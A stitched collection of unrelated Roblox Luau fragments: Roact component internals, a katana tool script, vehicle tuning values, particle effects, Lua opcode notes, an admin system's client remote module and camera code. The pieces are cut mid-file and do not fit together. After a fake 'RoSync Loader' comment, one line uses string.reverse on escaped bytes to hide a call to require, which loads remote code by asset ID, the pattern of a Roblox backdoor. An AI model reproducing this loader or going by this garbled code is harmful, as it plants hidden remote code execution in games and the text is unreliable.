game:GetService('Players').LocalPlayer:WaitForChild('PlayerGui'):SetTopbarTransparency(1)
|
--[[
A method called by consumers of Roact to create a new component class.
Components can not be extended beyond this point, with the exception of
PureComponent.
]]
|
function Component:extend(name)
if config.typeChecks then
assert(Type.of(self) == Type.StatefulComponentClass, "Invalid `self` argument to `extend`.")
assert(typeof(name) == "string", "Component class name must be a string")
end
local class = {}
for key, value in pairs(self) do
-- Roact opts to make consumers use composition over inheritance, which
-- lines up with React.
-- https://reactjs.org/docs/composition-vs-inheritance.html
if key ~= "extend" then
class[key] = value
end
end
class[Type] = Type.StatefulComponentClass
class.__index = class
class.__componentName = name
setmetatable(class, componentClassMetatable)
return class
end
function Component:__getDerivedState(incomingProps, incomingState)
if config.internalTypeChecks then
internalAssert(Type.of(self) == Type.StatefulComponentInstance, "Invalid use of `__getDerivedState`")
end
local internalData = self[InternalData]
local componentClass = internalData.componentClass
if componentClass.getDerivedStateFromProps ~= nil then
local derivedState = componentClass.getDerivedStateFromProps(incomingProps, incomingState)
if derivedState ~= nil then
if config.typeChecks then
assert(typeof(derivedState) == "table", "getDerivedStateFromProps must return a table!")
end
return derivedState
end
end
return nil
end
function Component:setState(mapState)
if config.typeChecks then
assert(Type.of(self) == Type.StatefulComponentInstance, "Invalid `self` argument to `extend`.")
end
local internalData = self[InternalData]
local lifecyclePhase = internalData.lifecyclePhase
--[[
When preparing to update, rendering, or unmounting, it is not safe
to call `setState` as it will interfere with in-flight updates. It's
also disallowed during unmounting
]]
if
lifecyclePhase == ComponentLifecyclePhase.ShouldUpdate
or lifecyclePhase == ComponentLifecyclePhase.WillUpdate
or lifecyclePhase == ComponentLifecyclePhase.Render
or lifecyclePhase == ComponentLifecyclePhase.WillUnmount
then
local messageTemplate = invalidSetStateMessages[internalData.lifecyclePhase]
local message = messageTemplate:format(tostring(internalData.componentClass))
error(message, 2)
end
local pendingState = internalData.pendingState
local partialState
if typeof(mapState) == "function" then
partialState = mapState(pendingState or self.state, self.props)
-- Abort the state update if the given state updater function returns nil
if partialState == nil then
return
end
elseif typeof(mapState) == "table" then
partialState = mapState
else
error("Invalid argument to setState, expected function or table", 2)
end
local newState
if pendingState ~= nil then
newState = assign(pendingState, partialState)
else
newState = assign({}, self.state, partialState)
end
if lifecyclePhase == ComponentLifecyclePhase.Init then
-- If `setState` is called in `init`, we can skip triggering an update!
local derivedState = self:__getDerivedState(self.props, newState)
self.state = assign(newState, derivedState)
elseif
lifecyclePhase == ComponentLifecyclePhase.DidMount
or lifecyclePhase == ComponentLifecyclePhase.DidUpdate
or lifecyclePhase == ComponentLifecyclePhase.ReconcileChildren
then
--[[
During certain phases of the component lifecycle, it's acceptable to
allow `setState` but defer the update until we're done with ones in flight.
We do this by collapsing it into any pending updates we have.
]]
local derivedState = self:__getDerivedState(self.props, newState)
internalData.pendingState = assign(newState, derivedState)
elseif lifecyclePhase == ComponentLifecyclePhase.Idle then
-- Outside of our lifecycle, the state update is safe to make immediately
self:__update(nil, newState)
else
local messageTemplate = invalidSetStateMessages.default
local message = messageTemplate:format(tostring(internalData.componentClass))
error(message, 2)
end
end
|
--[[ Last synced 5/5/2023 07:16 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
--For Omega Rainbow Katana thumbnail to display a lot of particles.
|
for i, v in pairs(Handle:GetChildren()) do
if v:IsA("ParticleEmitter") then
v.Rate = 20
end
end
Tool.Grip = Grips.Up
Tool.Enabled = true
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Blow(Hit)
if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then
return
end
local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand")
if not RightArm then
return
end
local RightGrip = RightArm:FindFirstChild("RightGrip")
if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
return
end
local character = Hit.Parent
if character == Character then
return
end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid or humanoid.Health == 0 then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (player == Player or IsTeamMate(Player, player)) then
return
end
UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
humanoid:TakeDamage(Damage)
end
function Attack()
Damage = DamageValues.SlashDamage
Sounds.Slash:Play()
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R6 then
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Slash"
Anim.Parent = Tool
elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then
local Anim = Tool:FindFirstChild("R15Slash")
if Anim then
local Track = Humanoid:LoadAnimation(Anim)
Track:Play(0)
end
end
end
end
function Lunge()
Damage = DamageValues.LungeDamage
Sounds.Lunge:Play()
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R6 then
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Lunge"
Anim.Parent = Tool
elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then
local Anim = Tool:FindFirstChild("R15Lunge")
if Anim then
local Track = Humanoid:LoadAnimation(Anim)
Track:Play(0)
end
end
end
--[[
if CheckIfAlive() then
local Force = Instance.new("BodyVelocity")
Force.velocity = Vector3.new(0, 10, 0)
Force.maxForce = Vector3.new(0, 4000, 0)
Debris:AddItem(Force, 0.4)
Force.Parent = Torso
end
]]
task.wait(0.2)
Tool.Grip = Grips.Out
task.wait(0.6)
Tool.Grip = Grips.Up
Damage = DamageValues.SlashDamage
end
Tool.Enabled = true
LastAttack = 0
function Activated()
if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
return
end
Tool.Enabled = false
local Tick = RunService.Stepped:wait()
if (Tick - LastAttack < 0.2) then
Lunge()
else
Attack()
end
LastAttack = Tick
--task.wait(0.5)
Damage = DamageValues.BaseDamage
local SlashAnim = (Tool:FindFirstChild("R15Slash") or Create("Animation"){
Name = "R15Slash",
AnimationId = BaseUrl .. Animations.R15Slash,
Parent = Tool
})
local LungeAnim = (Tool:FindFirstChild("R15Lunge") or Create("Animation"){
Name = "R15Lunge",
AnimationId = BaseUrl .. Animations.R15Lunge,
Parent = Tool
})
Tool.Enabled = true
end
function CheckIfAlive()
return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false)
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChildOfClass("Humanoid")
Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("HumanoidRootPart")
if not CheckIfAlive() then
return
end
ToolEquipped = true
Sounds.Unsheath:Play()
end
function Unequipped()
Tool.Grip = Grips.Up
ToolEquipped = false
end
Tool.Activated:Connect(Activated)
Tool.Equipped:Connect(Equipped)
Tool.Unequipped:Connect(Unequipped)
Connection = Handle.Touched:Connect(Blow)
|
--[[
Destroys the system
]]
|
function BaseSystem:destroy()
for _, connection in pairs(self._connections) do
connection:Disconnect()
end
self._isActive = false
end
return BaseSystem
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 325 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--NOTE: speed may be slower than you want due to server lag
|
local waittime = speed/60
while true do
for x=1,20 do
color = Color3.new(color.r+.05,0,color.b-.05)
particle.Color = ColorSequence.new(color)
wait(waittime)
end
for x=1,20 do
color = Color3.new(color.r-.05,color.g+.05,0)
particle.Color = ColorSequence.new(color)
wait(waittime)
end
for x=1,20 do
color = Color3.new(0,color.g-.05,color.b+.05)
particle.Color = ColorSequence.new(color)
wait(waittime)
end
end
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 2 -- cooldown for use of the tool again
ZoneModelName = "Homing dog" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
--[[
===========================================================================
Notes:
(*) In OP_CALL, if (B == 0) then B = top. C is the number of returns - 1,
and can be 0: OP_CALL then sets 'top' to last_result+1, so
next open instruction (OP_CALL, OP_RETURN, OP_SETLIST) may use 'top'.
(*) In OP_VARARG, if (B == 0) then use actual number of varargs and
set top (like in OP_CALL with C == 0).
(*) In OP_RETURN, if (B == 0) then return up to 'top'
(*) In OP_SETLIST, if (B == 0) then B = 'top';
if (C == 0) then next 'instruction' is real C
(*) For comparisons, A specifies what condition the test should accept
(true or false).
(*) All 'skips' (pc++) assume that next instruction is a jump
===========================================================================
--]]
| |
--[[Weight and CG]]
|
--
Tune.Weight = 450 + 150 -- Bike weight in LBS
Tune.WeightBrickSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 3 ,
--[[Height]] 3 ,
--[[Length]] 8 }
Tune.WeightDistribution = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = 0.8 -- Center of gravity height (studs relative to median of the wheels)
Tune.WBVisible = false -- Makes the weight brick visible (Debug)
Tune.BalVisible = false -- Makes the balance brick visible (Debug)
|
--// Remote
|
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local _G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =
_G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay
local script = script
local service = Vargs.Service
local client = Vargs.Client
local Anti, Core, Functions, Process, Remote, UI, Variables
local function Init()
UI = client.UI;
Anti = client.Anti;
Core = client.Core;
Variables = client.Variables
Functions = client.Functions;
Process = client.Process;
Remote = client.Remote;
Remote.Init = nil;
end
local function RunAfterLoaded()
--// Report client finished loading
log("~! Fire client loaded")
client.Remote.Send("ClientLoaded")
--// Ping loop
log("~! Start ClientCheck loop");
task.delay(5, function() service.StartLoop("ClientCheck", 30, Remote.CheckClient, true) end)
--// Get settings
log("Get settings");
local settings = client.Remote.Get("Setting",{"G_API","Allowed_API_Calls","HelpButtonImage"})
if settings then
client.G_API = settings.G_API
--client.G_Access = settings.G_Access
--client.G_Access_Key = settings.G_Access_Key
--client.G_Access_Perms = settings.G_Access_Perms
client.Allowed_API_Calls = settings.Allowed_API_Calls
client.HelpButtonImage = settings.HelpButtonImage
else
log("~! GET SETTINGS FAILED?")
warn("FAILED TO GET SETTINGS FROM SERVER");
end
Remote.RunAfterLoaded = nil;
end
local function RunLast()
--[[client = service.ReadOnly(client, {
[client.Variables] = true;
[client.Handlers] = true;
G_API = true;
G_Access = true;
G_Access_Key = true;
G_Access_Perms = true;
Allowed_API_Calls = true;
HelpButtonImage = true;
Finish_Loading = true;
RemoteEvent = true;
ScriptCache = true;
Returns = true;
PendingReturns = true;
EncodeCache = true;
DecodeCache = true;
Received = true;
Sent = true;
Service = true;
Holder = true;
GUIs = true;
LastUpdate = true;
RateLimits = true;
Init = true;
RunLast = true;
RunAfterInit = true;
RunAfterLoaded = true;
RunAfterPlugins = true;
}, true)--]]
Remote.RunLast = nil;
end
getfenv().client = nil
getfenv().service = nil
getfenv().script = nil
client.Remote = {
Init = Init;
RunLast = RunLast;
RunAfterLoaded = RunAfterLoaded;
Returns = {};
PendingReturns = {};
EncodeCache = {};
DecodeCache = {};
Received = 0;
Sent = 0;
CheckClient = function()
if os.time() - Core.LastUpdate >= 10 then
Remote.Send("ClientCheck", {
Sent = Remote.Sent or 0;
Received = Remote.Received;
}, client.DepsName)
end
end;
Returnables = {
Test = function(args)
return "HELLO FROM THE CLIENT SIDE :)! ", unpack(args)
end;
Ping = function(args)
return Remote.Ping()
end;
ClientHooked = function(args)
return Core.Special
end;
TaskManager = function(args)
local action = args[1]
if action == "GetTasks" then
local tab = {}
for _, v in service.GetTasks() do
local new = {}
new.Status = v.Status
new.Name = v.Name
new.Index = v.Index
new.Created = v.Created
new.CurrentTime = os.time()
new.Function = tostring(v.Function)
table.insert(tab,new)
end
return tab
end
end;
LoadCode = function(args)
local code = args[1]
local func = Core.LoadCode(code, GetEnv())
if func then
return func()
end
end;
Function = function(args)
local func = client.Functions[args[1]]
if func and type(func) == "function" then
return func(unpack(args, 2))
end
end;
Handler = function(args)
local handler = client.Handlers[args[1]]
if handler and type(handler) == "function" then
return handler(unpack(args, 2))
end
end;
UIKeepAlive = function(args)
if Variables.UIKeepAlive then
for _, g in client.GUIs do
if g.KeepAlive then
if g.Class == "ScreenGui" or g.Class == "GuiMain" then
g.Object.Parent = service.Player.PlayerGui
elseif g.Class == "TextLabel" then
g.Object.Parent = UI.GetHolder()
end
g.KeepAlive = false
end
end
end
return true;
end;
UI = function(args)
local guiName = args[1]
local themeData = args[2]
local guiData = args[3]
Variables.LastServerTheme = themeData or Variables.LastServerTheme;
return UI.Make(guiName, guiData, themeData)
end;
InstanceList = function(args)
local objects = service.GetAdonisObjects()
local temp = {}
for _, v in objects do
table.insert(temp, {
Text = v:GetFullName();
Desc = v.ClassName;
})
end
return temp
end;
ClientLog = function(args)
local MESSAGE_TYPE_COLORS = {
[Enum.MessageType.MessageWarning] = Color3.fromRGB(221, 187, 13),
[Enum.MessageType.MessageError] = Color3.fromRGB(255, 50, 14),
[Enum.MessageType.MessageInfo] = Color3.fromRGB(14, 78, 255)
}
local tab = {}
local logHistory: {{message: string, messageType: Enum.MessageType, timestamp: number}} = service.LogService:GetLogHistory()
for i = #logHistory, 1, -1 do
local log = logHistory[i]
for i, v in service.ExtractLines(log.message) do
table.insert(tab, {
Text = v;
Time = if i == 1 then log.timestamp else nil;
Desc = log.messageType.Name:match("^Message(.+)$");
Color = MESSAGE_TYPE_COLORS[log.messageType];
})
end
end
return tab
end;
LocallyFormattedTime = function(args)
if type(args[1]) == "table" then
local results = {}
for i, t in args[1] do
results[i] = service.FormatTime(t, select(2, unpack(args)))
end
return results
end
return service.FormatTime(unpack(args))
end;
};
UnEncrypted = setmetatable({}, {
__newindex = function(_, ind, val)
warn("Remote.UnEncrypted is deprecated; moving", ind, "to Remote.Commands")
Remote.Commands[ind] = val
end
});
Commands = {
GetReturn = function(args)
print("THE SERVER IS ASKING US FOR A RETURN");
local com = args[1]
local key = args[2]
local parms = {unpack(args, 3)}
local retfunc = Remote.Returnables[com]
local retable = (retfunc and {pcall(retfunc,parms)}) or {}
if retable[1] ~= true then
logError(retable[2])
Remote.Send("GiveReturn", key, "__ADONIS_RETURN_ERROR", retable[2])
else
print("SENT RETURN");
Remote.Send("GiveReturn", key, unpack(retable,2))
end
end;
GiveReturn = function(args)
print("SERVER GAVE US A RETURN")
if Remote.PendingReturns[args[1]] then
print("VALID PENDING RETURN")
Remote.PendingReturns[args[1]] = nil
service.Events[args[1]]:Fire(unpack(args, 2))
end
end;
SessionData = function(args)
local sessionKey = args[1];
if sessionKey then
service.Events.SessionData:Fire(sessionKey, table.unpack(args, 2))
end
end;
SetVariables = function(args)
local vars = args[1]
for var, val in vars do
Variables[var] = val
end
end;
Print = function(args)
print(unpack(args))
end;
FireEvent = function(args)
service.FireEvent(unpack(args))
end;
Test = function(args)
print(`OK WE GOT COMMUNICATION! ORGL: {args[1]}`)
end;
TestError = function(args)
error("THIS IS A TEST ERROR")
end;
TestEvent = function(args)
Remote.PlayerEvent(args[1],unpack(args,2))
end;
LoadCode = function(args)
local code = args[1]
local func = Core.LoadCode(code, GetEnv())
if func then
return func()
end
end;
LaunchAnti = function(args)
Anti.Launch(args[1],args[2])
end;
UI = function(args)
local guiName = args[1]
local themeData = args[2]
local guiData = args[3]
Variables.LastServerTheme = themeData or Variables.LastServerTheme;
UI.Make(guiName,guiData,themeData)
end;
RemoveUI = function(args)
UI.Remove(args[1],args[2])
end;
RefreshUI = function(args)
local guiName = args[1]
local ignore = args[2]
UI.Remove(guiName,ignore)
local themeData = args[3]
local guiData = args[4]
Variables.LastServerTheme = themeData or Variables.LastServerTheme;
UI.Make(guiName,guiData,themeData)
end;
StartLoop = function(args)
local name = args[1]
local delay = args[2]
local code = args[3]
local func = Core.LoadCode(code, GetEnv())
if name and delay and code and func then
service.StartLoop(name,delay,func)
end
end;
StopLoop = function(args)
service.StopLoop(args[1])
end;
Function = function(args)
local func = client.Functions[args[1]]
if func and type(func) == "function" then
Pcall(func,unpack(args,2))
end
end;
Handler = function(args)
local handler = client.Handlers[args[1]]
if handler and type(handler) == "function" then
Pcall(handler, unpack(args, 2))
end
end;
};
Fire = function(...)
local limits = Process.RateLimits
local limit = (limits and limits.Remote) or 0.01;
local RemoteEvent = Core.RemoteEvent;
local extra = {...};
if RemoteEvent and RemoteEvent.Object then
service.Queue("REMOTE_SEND", function()
Remote.Sent = Remote.Sent+1;
RemoteEvent.Object:FireServer({Mode = "Fire", Module = client.Module, Loader = client.Loader, Sent = Remote.Sent, Received = Remote.Received}, unpack(extra));
task.wait(limit);
end)
end
end;
Send = function(com,...)
Core.LastUpdate = os.time()
Remote.Fire(Remote.Encrypt(com,Core.Key),...)
end;
GetFire = function(...)
local RemoteEvent = Core.RemoteEvent;
local limits = Process.RateLimits;
local limit = (limits and limits.Remote) or 0.02;
local extra = {...};
local returns;
if RemoteEvent and RemoteEvent.Function then
local Yield = service.Yield();
service.Queue("REMOTE_SEND", function()
Remote.Sent = Remote.Sent+1;
task.delay(0, function() -- Wait for return in new thread; We don't want to hold the entire fire queue up while waiting for one thing to return since we just want to limit fire speed;
returns = {
RemoteEvent.Function:InvokeServer({
Mode = "Get",
Module = client.Module,
Loader = client.Loader,
Sent = Remote.Sent,
Received = Remote.Received
}, unpack(extra))
}
Yield:Release(returns);
end)
task.wait(limit)
end)
if not returns then
Yield:Wait();
end
Yield:Destroy();
if returns then
return unpack(returns)
end
end
end;
RawGet = function(...)
local extra = {...};
local RemoteEvent = Core.RemoteEvent;
if RemoteEvent and RemoteEvent.Function then
Remote.Sent = Remote.Sent+1;
return RemoteEvent.Function:InvokeServer({Mode = "Get", Module = client.Module, Loader = client.Loader, Sent = Remote.Sent, Received = Remote.Received}, unpack(extra));
end
end;
Get = function(com,...)
Core.LastUpdate = os.time()
local ret = Remote.GetFire(Remote.Encrypt(com,Core.Key),...)
if type(ret) == "table" then
return unpack(ret);
else
return ret;
end
end;
OldGet = function(com,...)
local returns
local key = Functions:GetRandom()
local waiter = service.New("BindableEvent");
local event = service.Events[key]:Connect(function(...) print("WE ARE GETTING A RETURN!") returns = {...} waiter:Fire() task.wait() waiter:Fire() waiter:Destroy() end)
Remote.PendingReturns[key] = true
Remote.Send("GetReturn",com,key,...)
print(string.format("GETTING RETURNS? %s", tostring(returns)))
--returns = returns or {event:Wait()}
waiter.Event:Wait();
print(string.format("WE GOT IT! %s", tostring(returns)))
event:Disconnect()
if returns then
if returns[1] == "__ADONIS_RETURN_ERROR" then
error(returns[2])
else
return unpack(returns)
end
else
return nil
end
end;
Ping = function()
local t = time()
local ping = Remote.Get("Ping")
if not ping then return false end
local t2 = time()
local mult = 10^3
local ms = ((math.floor((t2-t)*mult+0.5)/mult)*1000)
return ms
end;
PlayerEvent = function(event,...)
Remote.Send("PlayerEvent",event,...)
end;
Encrypt = function(str, key, cache)
cache = cache or Remote.EncodeCache or {}
if not key or not str then
return str
elseif cache[key] and cache[key][str] then
return cache[key][str]
else
local byte = string.byte
local sub = string.sub
local char = string.char
local keyCache = cache[key] or {}
local endStr = {}
for i = 1, #str do
local keyPos = (i % #key) + 1
endStr[i] = char(((byte(sub(str, i, i)) + byte(sub(key, keyPos, keyPos)))%126) + 1)
end
endStr = table.concat(endStr)
cache[key] = keyCache
keyCache[str] = endStr
return endStr
end
end;
Decrypt = function(str, key, cache)
cache = cache or Remote.DecodeCache or {}
if not key or not str then
return str
elseif cache[key] and cache[key][str] then
return cache[key][str]
else
local keyCache = cache[key] or {}
local byte = string.byte
local sub = string.sub
local char = string.char
local endStr = {}
for i = 1, #str do
local keyPos = (i % #key)+1
endStr[i] = char(((byte(sub(str, i, i)) - byte(sub(key, keyPos, keyPos)))%126) - 1)
end
endStr = table.concat(endStr)
cache[key] = keyCache
keyCache[str] = endStr
return endStr
end
end;
}
end
|
--/ Initialization /--
|
require(4593408411).start(script,config)
|
-- Setup gesture area that camera uses while DynamicThumbstick is enabled
|
local function OnCharacterAdded(character)
if UserInputService.TouchEnabled then
for _, child in ipairs(LocalPlayer.Character:GetChildren()) do
if child:IsA("Tool") then
IsAToolEquipped = true
end
end
character.ChildAdded:Connect(function(child)
if child:IsA("Tool") then
IsAToolEquipped = true
end
end)
character.ChildRemoved:Connect(function(child)
if child:IsA("Tool") then
IsAToolEquipped = false
end
end)
if PlayerGui then
local TouchGui = PlayerGui:FindFirstChild("TouchGui")
if TouchGui and TouchGui:WaitForChild("GestureArea", 0.5) then
GestureArea = TouchGui.GestureArea
GestureAreaManagedByControlScript = true
else
GestureAreaManagedByControlScript = false
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "GestureArea"
ScreenGui.Parent = PlayerGui
GestureArea = Instance.new("Frame")
GestureArea.BackgroundTransparency = 1.0
GestureArea.Visible = true
GestureArea.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
layoutGestureArea(PortraitMode)
GestureArea.Parent = ScreenGui
end
end
end
end
if LocalPlayer then
if LocalPlayer.Character ~= nil then
OnCharacterAdded(LocalPlayer.Character)
end
LocalPlayer.CharacterAdded:connect(function(character)
OnCharacterAdded(character)
end)
end
local function positionIntersectsGuiObject(position, guiObject)
if position.X < guiObject.AbsolutePosition.X + guiObject.AbsoluteSize.X
and position.X > guiObject.AbsolutePosition.X
and position.Y < guiObject.AbsolutePosition.Y + guiObject.AbsoluteSize.Y
and position.Y > guiObject.AbsolutePosition.Y then
return true
end
return false
end
local function GetRenderCFrame(part)
return part:GetRenderCFrame()
end
local function CreateCamera()
local this = {}
local R15HeadHeight = R15_HEAD_OFFSET
function this:GetActivateValue()
return 0.7
end
function this:IsPortraitMode()
return PortraitMode
end
function this:GetRotateAmountValue(vrRotationIntensity)
vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity")
if vrRotationIntensity then
if vrRotationIntensity == "Low" then
return VR_LOW_INTENSITY_ROTATION
elseif vrRotationIntensity == "High" then
return VR_HIGH_INTENSITY_ROTATION
end
end
return ZERO_VECTOR2
end
function this:GetRepeatDelayValue(vrRotationIntensity)
vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity")
if vrRotationIntensity then
if vrRotationIntensity == "Low" then
return VR_LOW_INTENSITY_REPEAT
elseif vrRotationIntensity == "High" then
return VR_HIGH_INTENSITY_REPEAT
end
end
return 0
end
this.ShiftLock = false
this.Enabled = false
local isFirstPerson = false
local isRightMouseDown = false
local isMiddleMouseDown = false
this.RotateInput = ZERO_VECTOR2
this.DefaultZoom = LANDSCAPE_DEFAULT_ZOOM
this.activeGamepad = nil
local tweens = {}
this.lastSubject = nil
this.lastSubjectPosition = Vector3.new(0, 5, 0)
local lastVRRotation = 0
local vrRotateKeyCooldown = {}
local isDynamicThumbstickEnabled = false
local dynamicThumbstickFrame = nil
local function getDynamicThumbstickFrame()
if dynamicThumbstickFrame and dynamicThumbstickFrame:IsDescendantOf(game) then
return dynamicThumbstickFrame
else
local touchGui = PlayerGui:FindFirstChild("TouchGui")
if not touchGui then return nil end
local touchControlFrame = touchGui:FindFirstChild("TouchControlFrame")
if not touchControlFrame then return nil end
dynamicThumbstickFrame = touchControlFrame:FindFirstChild("DynamicThumbstickFrame")
return dynamicThumbstickFrame
end
end
-- Check for changes in ViewportSize to decide if PortraitMode
local CameraChangedConn = nil
local workspaceCameraChangedConn = nil
local function onWorkspaceCameraChanged()
if UserInputService.TouchEnabled then
if CameraChangedConn then
CameraChangedConn:Disconnect()
CameraChangedConn = nil
end
local newCamera = workspace.CurrentCamera
if newCamera then
local size = newCamera.ViewportSize
PortraitMode = size.X < size.Y
layoutGestureArea(PortraitMode)
DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM
CameraChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
size = newCamera.ViewportSize
PortraitMode = size.X < size.Y
layoutGestureArea(PortraitMode)
DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM
end)
end
end
end
workspaceCameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onWorkspaceCameraChanged)
if workspace.CurrentCamera then
onWorkspaceCameraChanged()
end
function this:GetShiftLock()
return ShiftLockController:IsShiftLocked()
end
function this:GetHumanoid()
local player = PlayersService.LocalPlayer
return findPlayerHumanoid(player)
end
function this:GetHumanoidRootPart()
local humanoid = this:GetHumanoid()
return humanoid and humanoid.Torso
end
function this:GetRenderCFrame(part)
GetRenderCFrame(part)
end
local STATE_DEAD = Enum.HumanoidStateType.Dead
-- HumanoidRootPart when alive, Head part when dead
local function getHumanoidPartToFollow(humanoid, humanoidStateType)
if humanoidStateType == STATE_DEAD then
local character = humanoid.Parent
if character then
return character:FindFirstChild("Head") or humanoid.Torso
else
return humanoid.Torso
end
else
return humanoid.Torso
end
end
local HUMANOID_STATE_DEAD = Enum.HumanoidStateType.Dead
function this:GetSubjectPosition()
local result = nil
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if cameraSubject then
if cameraSubject:IsA('Humanoid') then
local humanoidStateType = cameraSubject:GetState()
if VRService.VREnabled and humanoidStateType == STATE_DEAD and cameraSubject == this.lastSubject then
result = this.lastSubjectPosition
else
local humanoidRootPart = getHumanoidPartToFollow(cameraSubject, humanoidStateType)
if humanoidRootPart and humanoidRootPart:IsA('BasePart') then
local subjectCFrame = GetRenderCFrame(humanoidRootPart)
local heightOffset = ZERO_VECTOR3
if humanoidStateType ~= STATE_DEAD then
heightOffset = cameraSubject.RigType == Enum.HumanoidRigType.R15 and R15HeadHeight or HEAD_OFFSET
end
if PortraitMode then
heightOffset = heightOffset + Vector3.new(0, PORTRAIT_MODE_CAMERA_OFFSET, 0)
end
result = subjectCFrame.p +
subjectCFrame:vectorToWorldSpace(heightOffset + cameraSubject.CameraOffset)
end
end
elseif cameraSubject:IsA('VehicleSeat') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
local offset = SEAT_OFFSET
if VRService.VREnabled then
offset = VR_SEAT_OFFSET
end
result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(offset)
elseif cameraSubject:IsA('SkateboardPlatform') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
result = subjectCFrame.p + SEAT_OFFSET
elseif cameraSubject:IsA('BasePart') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
result = subjectCFrame.p
elseif cameraSubject:IsA('Model') then
result = cameraSubject:GetModelCFrame().p
end
end
this.lastSubject = cameraSubject
this.lastSubjectPosition = result
return result
end
function this:ResetCameraLook()
end
function this:GetCameraLook()
return workspace.CurrentCamera and workspace.CurrentCamera.CoordinateFrame.lookVector or Vector3.new(0,0,1)
end
function this:GetCameraZoom()
if this.currentZoom == nil then
local player = PlayersService.LocalPlayer
this.currentZoom = player and clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, this.DefaultZoom) or this.DefaultZoom
end
return this.currentZoom
end
function this:GetCameraActualZoom()
local camera = workspace.CurrentCamera
if camera then
return (camera.CoordinateFrame.p - camera.Focus.p).magnitude
end
end
function this:GetCameraHeight()
if VRService.VREnabled and not this:IsInFirstPerson() then
local zoom = this:GetCameraZoom()
return math.sin(VR_ANGLE) * zoom
end
return 0
end
function this:ViewSizeX()
local result = 1024
local camera = workspace.CurrentCamera
if camera then
result = camera.ViewportSize.X
end
return result
end
function this:ViewSizeY()
local result = 768
local camera = workspace.CurrentCamera
if camera then
result = camera.ViewportSize.Y
end
return result
end
local math_asin = math.asin
